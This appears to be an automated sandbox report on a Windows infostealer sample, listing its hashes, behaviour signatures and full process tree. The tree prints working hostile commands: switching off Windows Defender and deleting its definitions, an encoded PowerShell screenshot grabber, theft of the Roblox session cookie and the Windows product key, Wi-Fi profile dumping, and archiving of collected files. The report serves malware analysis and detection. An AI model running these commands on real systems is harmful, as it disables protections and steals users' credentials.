Analysis

  • max time kernel
    150s
  • max time network
    135s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    02-06-2024 01:25

General

  • Target

    loader_prod.exe

  • Size

    7.5MB

  • MD5

    3fe9fb97059d1f3d4f61fd831ccd98c7

  • SHA1

    d38de3dbf7aec2b2eea96fd8cb084aaf1733acf3

  • SHA256

    827f032a5e2b44686dbb657f2d9b6992539ac73eb08c5f02f449aab35423edc5

  • SHA512

    e8193418127a042e359d8548ae7158b980510c51622d904064254efcc1993cb540cd25fbccb7ac48f518e74874b88de1ac94c537131260b57df3294c78667e73

  • SSDEEP

    196608:Wrk/0cDeMgkLjv+bhqNVoBKUh8mz4Iv9Plu1D7AU:AieMpL+9qz8/b4IzuRAU

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Executes dropped EXE 8 IoCs
  • Loads dropped DLL 16 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 59 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\loader_prod.exe
    "C:\Users\Admin\AppData\Local\Temp\loader_prod.exe"
    1⤵
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1768
    • \??\c:\users\admin\appdata\local\temp\loader_prod.exe 
      c:\users\admin\appdata\local\temp\loader_prod.exe 
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3764
      • \??\c:\users\admin\appdata\local\temp\loader_prod.exe 
        c:\users\admin\appdata\local\temp\loader_prod.exe 
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2840
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\loader_prod.exe '"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:5004
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\loader_prod.exe '
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3144
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4448
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2228
          • C:\Program Files\Windows Defender\MpCmdRun.exe
            "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
            5⤵
            • Deletes Windows Defender Definitions
            PID:3724
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error 4562', 0, 'Error 4562', 32+16);close()""
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2932
          • C:\Windows\system32\mshta.exe
            mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error 4562', 0, 'Error 4562', 32+16);close()"
            5⤵
              PID:4484
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4316
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              5⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:2580
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4012
            • C:\Windows\System32\Wbem\WMIC.exe
              WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2756
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1052
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Get-Clipboard
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:2568
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2340
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              5⤵
              • Enumerates processes with tasklist
              PID:1920
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tree /A /F"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4416
            • C:\Windows\system32\tree.com
              tree /A /F
              5⤵
                PID:2564
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:5052
              • C:\Windows\system32\netsh.exe
                netsh wlan show profile
                5⤵
                  PID:4032
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "systeminfo"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4160
                • C:\Windows\system32\systeminfo.exe
                  systeminfo
                  5⤵
                  • Gathers system information
                  PID:1708
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:508
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2576
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zcix32tz\zcix32tz.cmdline"
                    6⤵
                      PID:1596
                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES758E.tmp" "c:\Users\Admin\AppData\Local\Temp\zcix32tz\CSC8DCA49F85AAC401A8FC293233EB3391.TMP"
                        7⤵
                          PID:2040
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3116
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      5⤵
                        PID:4704
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3644
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        5⤵
                          PID:3972
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                        4⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3760
                        • C:\Windows\system32\tree.com
                          tree /A /F
                          5⤵
                            PID:504
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                          4⤵
                            PID:3616
                            • C:\Windows\system32\tree.com
                              tree /A /F
                              5⤵
                                PID:3624
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                              4⤵
                                PID:1392
                                • C:\Windows\System32\Conhost.exe
                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                  5⤵
                                    PID:4704
                                  • C:\Windows\system32\tree.com
                                    tree /A /F
                                    5⤵
                                      PID:2228
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                    4⤵
                                      PID:2172
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                        5⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:4908
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                      4⤵
                                        PID:356
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                          5⤵
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:2412
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "getmac"
                                        4⤵
                                          PID:4068
                                          • C:\Windows\system32\getmac.exe
                                            getmac
                                            5⤵
                                              PID:4272
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI37642\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\g7f06.zip" *"
                                            4⤵
                                              PID:4248
                                              • C:\Windows\System32\Conhost.exe
                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                5⤵
                                                  PID:3116
                                                • C:\Users\Admin\AppData\Local\Temp\_MEI37642\rar.exe
                                                  C:\Users\Admin\AppData\Local\Temp\_MEI37642\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\g7f06.zip" *
                                                  5⤵
                                                  • Executes dropped EXE
                                                  PID:4420
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                4⤵
                                                  PID:4736
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic os get Caption
                                                    5⤵
                                                      PID:4632
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                    4⤵
                                                      PID:4920
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic computersystem get totalphysicalmemory
                                                        5⤵
                                                          PID:2464
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                        4⤵
                                                          PID:2468
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic csproduct get uuid
                                                            5⤵
                                                              PID:2140
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                            4⤵
                                                              PID:4996
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                5⤵
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:692
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                              4⤵
                                                                PID:1196
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic path win32_VideoController get name
                                                                  5⤵
                                                                  • Detects videocard installed
                                                                  PID:1108
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                4⤵
                                                                  PID:4396
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                    5⤵
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:5008
                                                            • C:\Windows\Resources\Themes\icsys.icn.exe
                                                              C:\Windows\Resources\Themes\icsys.icn.exe
                                                              2⤵
                                                              • Executes dropped EXE
                                                              • Drops file in Windows directory
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:1536
                                                              • \??\c:\windows\resources\themes\explorer.exe
                                                                c:\windows\resources\themes\explorer.exe
                                                                3⤵
                                                                • Modifies visiblity of hidden/system files in Explorer
                                                                • Executes dropped EXE
                                                                • Adds Run key to start application
                                                                • Drops file in System32 directory
                                                                • Drops file in Windows directory
                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:3760
                                                                • \??\c:\windows\resources\spoolsv.exe
                                                                  c:\windows\resources\spoolsv.exe SE
                                                                  4⤵
                                                                  • Executes dropped EXE
                                                                  • Drops file in Windows directory
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:1616
                                                                  • \??\c:\windows\resources\svchost.exe
                                                                    c:\windows\resources\svchost.exe
                                                                    5⤵
                                                                    • Modifies visiblity of hidden/system files in Explorer
                                                                    • Executes dropped EXE
                                                                    • Adds Run key to start application
                                                                    • Drops file in System32 directory
                                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                                    • Suspicious use of SetWindowsHookEx
                                                                    PID:2184
                                                                    • \??\c:\windows\resources\spoolsv.exe
                                                                      c:\windows\resources\spoolsv.exe PR
                                                                      6⤵
                                                                      • Executes dropped EXE
                                                                      • Suspicious use of SetWindowsHookEx
                                                                      PID:4160

                                                          Network

                                                          MITRE ATT&CK Enterprise v15

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                            Filesize

                                                            2KB

                                                            MD5

                                                            268b890dae39e430e8b127909067ed96

                                                            SHA1

                                                            35939515965c0693ef46e021254c3e73ea8c4a2b

                                                            SHA256

                                                            7643d492a6f1e035b63b2e16c9c21d974a77dfd2d8e90b9c15ee412625e88c4c

                                                            SHA512

                                                            abc4b2ce10a6566f38c00ad55e433791dd45fca47deec70178daf0763578ff019fb0ec70792d5e9ecde4eb6778a35ba8a8c7ecd07550597d9bbb13521c9b98fb

                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                            Filesize

                                                            1KB

